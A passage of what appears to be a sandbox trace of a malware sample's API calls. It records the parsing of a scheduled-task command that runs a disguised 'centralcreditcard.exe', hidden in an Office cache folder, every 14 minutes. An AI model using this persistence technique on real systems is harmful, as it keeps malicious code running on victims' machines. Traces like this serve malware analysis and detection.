(dwErrCode=0x490) [0082.287] lstrlenW (lpString="change") returned 6 [0082.287] lstrlenW (lpString="change") returned 6 [0082.287] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.287] lstrlenW (lpString="sc") returned 2 [0082.287] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.287] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|change|") returned 8 [0082.287] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.287] lstrlenW (lpString="|change|") returned 8 [0082.287] lstrlenW (lpString="|sc|") returned 4 [0082.287] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0082.287] SetLastError (dwErrCode=0x490) [0082.287] lstrlenW (lpString="run") returned 3 [0082.287] lstrlenW (lpString="run") returned 3 [0082.287] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.287] lstrlenW (lpString="sc") returned 2 [0082.287] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.287] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|run|") returned 5 [0082.287] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.287] lstrlenW (lpString="|run|") returned 5 [0082.287] lstrlenW (lpString="|sc|") returned 4 [0082.287] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0082.288] SetLastError (dwErrCode=0x490) [0082.288] lstrlenW (lpString="end") returned 3 [0082.288] lstrlenW (lpString="end") returned 3 [0082.288] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.288] lstrlenW (lpString="sc") returned 2 [0082.288] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.288] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|end|") returned 5 [0082.288] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.288] lstrlenW (lpString="|end|") returned 5 [0082.288] lstrlenW (lpString="|sc|") returned 4 [0082.288] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0082.288] SetLastError (dwErrCode=0x490) [0082.288] lstrlenW (lpString="showsid") returned 7 [0082.288] lstrlenW (lpString="showsid") returned 7 [0082.288] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.288] lstrlenW (lpString="sc") returned 2 [0082.288] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.288] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|showsid|") returned 9 [0082.288] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|sc|") returned 4 [0082.288] lstrlenW (lpString="|showsid|") returned 9 [0082.288] lstrlenW (lpString="|sc|") returned 4 [0082.288] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0082.288] SetLastError (dwErrCode=0x490) [0082.288] SetLastError (dwErrCode=0x490) [0082.288] SetLastError (dwErrCode=0x0) [0082.288] lstrlenW (lpString="/sc") returned 3 [0082.288] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0082.288] SetLastError (dwErrCode=0x490) [0082.288] SetLastError (dwErrCode=0x0) [0082.288] lstrlenW (lpString="/sc") returned 3 [0082.288] GetProcessHeap () returned 0x140000 [0082.288] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c450 [0082.289] GetProcessHeap () returned 0x140000 [0082.289] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ce80 [0082.289] SetLastError (dwErrCode=0x0) [0082.289] SetLastError (dwErrCode=0x0) [0082.289] lstrlenW (lpString="MINUTE") returned 6 [0082.289] lstrlenW (lpString="-/") returned 2 [0082.289] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0082.289] SetLastError (dwErrCode=0x490) [0082.289] SetLastError (dwErrCode=0x490) [0082.289] SetLastError (dwErrCode=0x0) [0082.289] lstrlenW (lpString="MINUTE") returned 6 [0082.289] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0082.289] SetLastError (dwErrCode=0x490) [0082.289] SetLastError (dwErrCode=0x0) [0082.289] lstrlenW (lpString="MINUTE") returned 6 [0082.289] GetProcessHeap () returned 0x140000 [0082.289] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15c470 [0082.289] GetProcessHeap () returned 0x140000 [0082.289] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15ceb0 [0082.289] SetLastError (dwErrCode=0x0) [0082.289] SetLastError (dwErrCode=0x0) [0082.289] lstrlenW (lpString="/mo") returned 3 [0082.289] lstrlenW (lpString="-/") returned 2 [0082.289] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.289] lstrlenW (lpString="?") returned 1 [0082.289] lstrlenW (lpString="?") returned 1 [0082.289] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.289] lstrlenW (lpString="mo") returned 2 [0082.289] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.289] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.289] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.289] lstrlenW (lpString="|?|") returned 3 [0082.289] lstrlenW (lpString="|mo|") returned 4 [0082.290] SetLastError (dwErrCode=0x490) [0082.290] lstrlenW (lpString="create") returned 6 [0082.290] lstrlenW (lpString="create") returned 6 [0082.290] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.290] lstrlenW (lpString="mo") returned 2 [0082.290] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.290] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.290] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.290] lstrlenW (lpString="|create|") returned 8 [0082.290] lstrlenW (lpString="|mo|") returned 4 [0082.290] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0082.290] SetLastError (dwErrCode=0x490) [0082.290] lstrlenW (lpString="delete") returned 6 [0082.290] lstrlenW (lpString="delete") returned 6 [0082.290] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.290] lstrlenW (lpString="mo") returned 2 [0082.290] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.290] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|delete|") returned 8 [0082.290] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.290] lstrlenW (lpString="|delete|") returned 8 [0082.290] lstrlenW (lpString="|mo|") returned 4 [0082.290] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0082.290] SetLastError (dwErrCode=0x490) [0082.290] lstrlenW (lpString="query") returned 5 [0082.290] lstrlenW (lpString="query") returned 5 [0082.290] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.290] lstrlenW (lpString="mo") returned 2 [0082.290] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.290] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|query|") returned 7 [0082.290] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.290] lstrlenW (lpString="|query|") returned 7 [0082.291] lstrlenW (lpString="|mo|") returned 4 [0082.291] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0082.291] SetLastError (dwErrCode=0x490) [0082.291] lstrlenW (lpString="change") returned 6 [0082.291] lstrlenW (lpString="change") returned 6 [0082.291] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.291] lstrlenW (lpString="mo") returned 2 [0082.291] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.291] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|change|") returned 8 [0082.291] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.291] lstrlenW (lpString="|change|") returned 8 [0082.291] lstrlenW (lpString="|mo|") returned 4 [0082.291] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0082.291] SetLastError (dwErrCode=0x490) [0082.291] lstrlenW (lpString="run") returned 3 [0082.291] lstrlenW (lpString="run") returned 3 [0082.291] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.291] lstrlenW (lpString="mo") returned 2 [0082.291] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.291] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|run|") returned 5 [0082.291] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.291] lstrlenW (lpString="|run|") returned 5 [0082.291] lstrlenW (lpString="|mo|") returned 4 [0082.291] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0082.291] SetLastError (dwErrCode=0x490) [0082.291] lstrlenW (lpString="end") returned 3 [0082.291] lstrlenW (lpString="end") returned 3 [0082.291] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.291] lstrlenW (lpString="mo") returned 2 [0082.292] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.292] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|end|") returned 5 [0082.292] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.292] lstrlenW (lpString="|end|") returned 5 [0082.292] lstrlenW (lpString="|mo|") returned 4 [0082.292] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0082.292] SetLastError (dwErrCode=0x490) [0082.292] lstrlenW (lpString="showsid") returned 7 [0082.292] lstrlenW (lpString="showsid") returned 7 [0082.292] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.292] lstrlenW (lpString="mo") returned 2 [0082.292] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.292] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|showsid|") returned 9 [0082.292] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|mo|") returned 4 [0082.292] lstrlenW (lpString="|showsid|") returned 9 [0082.292] lstrlenW (lpString="|mo|") returned 4 [0082.292] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0082.292] SetLastError (dwErrCode=0x490) [0082.292] SetLastError (dwErrCode=0x490) [0082.292] SetLastError (dwErrCode=0x0) [0082.292] lstrlenW (lpString="/mo") returned 3 [0082.292] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0082.292] SetLastError (dwErrCode=0x490) [0082.292] SetLastError (dwErrCode=0x0) [0082.292] lstrlenW (lpString="/mo") returned 3 [0082.292] GetProcessHeap () returned 0x140000 [0082.292] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c490 [0082.292] GetProcessHeap () returned 0x140000 [0082.292] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cee0 [0082.292] SetLastError (dwErrCode=0x0) [0082.292] SetLastError (dwErrCode=0x0) [0082.292] lstrlenW (lpString="14") returned 2 [0082.293] lstrlenW (lpString="-/") returned 2 [0082.293] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0082.293] SetLastError (dwErrCode=0x490) [0082.293] SetLastError (dwErrCode=0x490) [0082.293] SetLastError (dwErrCode=0x0) [0082.293] lstrlenW (lpString="14") returned 2 [0082.293] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0082.293] SetLastError (dwErrCode=0x490) [0082.293] SetLastError (dwErrCode=0x0) [0082.293] lstrlenW (lpString="14") returned 2 [0082.293] GetProcessHeap () returned 0x140000 [0082.293] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x6) returned 0x15c4b0 [0082.293] GetProcessHeap () returned 0x140000 [0082.293] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cf10 [0082.293] SetLastError (dwErrCode=0x0) [0082.293] SetLastError (dwErrCode=0x0) [0082.293] lstrlenW (lpString="/tr") returned 3 [0082.293] lstrlenW (lpString="-/") returned 2 [0082.293] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.293] lstrlenW (lpString="?") returned 1 [0082.293] lstrlenW (lpString="?") returned 1 [0082.293] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.293] lstrlenW (lpString="tr") returned 2 [0082.293] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.293] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.293] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.293] lstrlenW (lpString="|?|") returned 3 [0082.293] lstrlenW (lpString="|tr|") returned 4 [0082.293] SetLastError (dwErrCode=0x490) [0082.293] lstrlenW (lpString="create") returned 6 [0082.293] lstrlenW (lpString="create") returned 6 [0082.293] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.293] lstrlenW (lpString="tr") returned 2 [0082.294] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.294] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.294] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.294] lstrlenW (lpString="|create|") returned 8 [0082.294] lstrlenW (lpString="|tr|") returned 4 [0082.294] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0082.294] SetLastError (dwErrCode=0x490) [0082.294] lstrlenW (lpString="delete") returned 6 [0082.294] lstrlenW (lpString="delete") returned 6 [0082.294] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.294] lstrlenW (lpString="tr") returned 2 [0082.294] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.294] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|delete|") returned 8 [0082.294] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.294] lstrlenW (lpString="|delete|") returned 8 [0082.294] lstrlenW (lpString="|tr|") returned 4 [0082.294] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0082.294] SetLastError (dwErrCode=0x490) [0082.294] lstrlenW (lpString="query") returned 5 [0082.294] lstrlenW (lpString="query") returned 5 [0082.294] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.294] lstrlenW (lpString="tr") returned 2 [0082.294] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.294] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|query|") returned 7 [0082.294] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.294] lstrlenW (lpString="|query|") returned 7 [0082.294] lstrlenW (lpString="|tr|") returned 4 [0082.294] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0082.294] SetLastError (dwErrCode=0x490) [0082.294] lstrlenW (lpString="change") returned 6 [0082.295] lstrlenW (lpString="change") returned 6 [0082.295] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.295] lstrlenW (lpString="tr") returned 2 [0082.295] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.295] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|change|") returned 8 [0082.295] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.295] lstrlenW (lpString="|change|") returned 8 [0082.295] lstrlenW (lpString="|tr|") returned 4 [0082.295] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0082.295] SetLastError (dwErrCode=0x490) [0082.295] lstrlenW (lpString="run") returned 3 [0082.295] lstrlenW (lpString="run") returned 3 [0082.295] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.295] lstrlenW (lpString="tr") returned 2 [0082.295] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.295] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|run|") returned 5 [0082.295] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.295] lstrlenW (lpString="|run|") returned 5 [0082.295] lstrlenW (lpString="|tr|") returned 4 [0082.295] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0082.295] SetLastError (dwErrCode=0x490) [0082.295] lstrlenW (lpString="end") returned 3 [0082.295] lstrlenW (lpString="end") returned 3 [0082.295] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.295] lstrlenW (lpString="tr") returned 2 [0082.295] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.295] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|end|") returned 5 [0082.295] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.295] lstrlenW (lpString="|end|") returned 5 [0082.295] lstrlenW (lpString="|tr|") returned 4 [0082.296] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0082.296] SetLastError (dwErrCode=0x490) [0082.296] lstrlenW (lpString="showsid") returned 7 [0082.296] lstrlenW (lpString="showsid") returned 7 [0082.296] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.296] lstrlenW (lpString="tr") returned 2 [0082.296] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.296] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|showsid|") returned 9 [0082.296] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|tr|") returned 4 [0082.296] lstrlenW (lpString="|showsid|") returned 9 [0082.296] lstrlenW (lpString="|tr|") returned 4 [0082.296] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0082.296] SetLastError (dwErrCode=0x490) [0082.296] SetLastError (dwErrCode=0x490) [0082.296] SetLastError (dwErrCode=0x0) [0082.296] lstrlenW (lpString="/tr") returned 3 [0082.296] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0082.296] SetLastError (dwErrCode=0x490) [0082.296] SetLastError (dwErrCode=0x0) [0082.296] lstrlenW (lpString="/tr") returned 3 [0082.296] GetProcessHeap () returned 0x140000 [0082.296] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x8) returned 0x15c4d0 [0082.296] GetProcessHeap () returned 0x140000 [0082.296] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cf40 [0082.296] SetLastError (dwErrCode=0x0) [0082.296] SetLastError (dwErrCode=0x0) [0082.296] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.296] lstrlenW (lpString="-/") returned 2 [0082.296] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0082.297] SetLastError (dwErrCode=0x490) [0082.297] SetLastError (dwErrCode=0x490) [0082.297] SetLastError (dwErrCode=0x0) [0082.297] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.297] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'" [0082.297] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.297] GetProcessHeap () returned 0x140000 [0082.297] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c4f0 [0082.297] _memicmp (_Buf1=0x15c4f0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.297] GetProcessHeap () returned 0x140000 [0082.297] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15c510 [0082.297] GetProcessHeap () returned 0x140000 [0082.297] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15c530 [0082.297] _memicmp (_Buf1=0x15c530, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.297] GetProcessHeap () returned 0x140000 [0082.297] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xb0) returned 0x15c550 [0082.297] SetLastError (dwErrCode=0x7a) [0082.297] SetLastError (dwErrCode=0x0) [0082.297] SetLastError (dwErrCode=0x0) [0082.297] lstrlenW (lpString="'C") returned 2 [0082.297] lstrlenW (lpString="-/") returned 2 [0082.297] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0082.297] SetLastError (dwErrCode=0x490) [0082.297] SetLastError (dwErrCode=0x490) [0082.297] SetLastError (dwErrCode=0x0) [0082.297] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0082.297] GetProcessHeap () returned 0x140000 [0082.297] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xae) returned 0x15c610 [0082.297] GetProcessHeap () returned 0x140000 [0082.297] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cf70 [0082.297] SetLastError (dwErrCode=0x0) [0082.297] SetLastError (dwErrCode=0x0) [0082.298] lstrlenW (lpString="/rl") returned 3 [0082.298] lstrlenW (lpString="-/") returned 2 [0082.298] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.298] lstrlenW (lpString="?") returned 1 [0082.298] lstrlenW (lpString="?") returned 1 [0082.299] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.299] lstrlenW (lpString="rl") returned 2 [0082.299] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.300] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|?|") returned 3 [0082.300] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.300] lstrlenW (lpString="|?|") returned 3 [0082.300] lstrlenW (lpString="|rl|") returned 4 [0082.300] SetLastError (dwErrCode=0x490) [0082.300] lstrlenW (lpString="create") returned 6 [0082.300] lstrlenW (lpString="create") returned 6 [0082.300] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.300] lstrlenW (lpString="rl") returned 2 [0082.300] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.300] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|create|") returned 8 [0082.300] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.300] lstrlenW (lpString="|create|") returned 8 [0082.300] lstrlenW (lpString="|rl|") returned 4 [0082.300] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0082.300] SetLastError (dwErrCode=0x490) [0082.300] lstrlenW (lpString="delete") returned 6 [0082.300] lstrlenW (lpString="delete") returned 6 [0082.300] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.300] lstrlenW (lpString="rl") returned 2 [0082.300] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.300] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|delete|") returned 8 [0082.300] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.300] lstrlenW (lpString="|delete|") returned 8 [0082.300] lstrlenW (lpString="|rl|") returned 4 [0082.300] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0082.300] SetLastError (dwErrCode=0x490) [0082.300] lstrlenW (lpString="query") returned 5 [0082.300] lstrlenW (lpString="query") returned 5 [0082.300] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.301] lstrlenW (lpString="rl") returned 2 [0082.301] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.301] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|query|") returned 7 [0082.301] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.301] lstrlenW (lpString="|query|") returned 7 [0082.301] lstrlenW (lpString="|rl|") returned 4 [0082.301] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0082.301] SetLastError (dwErrCode=0x490) [0082.301] lstrlenW (lpString="change") returned 6 [0082.301] lstrlenW (lpString="change") returned 6 [0082.301] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.301] lstrlenW (lpString="rl") returned 2 [0082.301] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.301] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|change|") returned 8 [0082.301] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf758 | out: _Buffer="|rl|") returned 4 [0082.301] lstrlenW (lpString="|change|") returned 8 [0082.301] 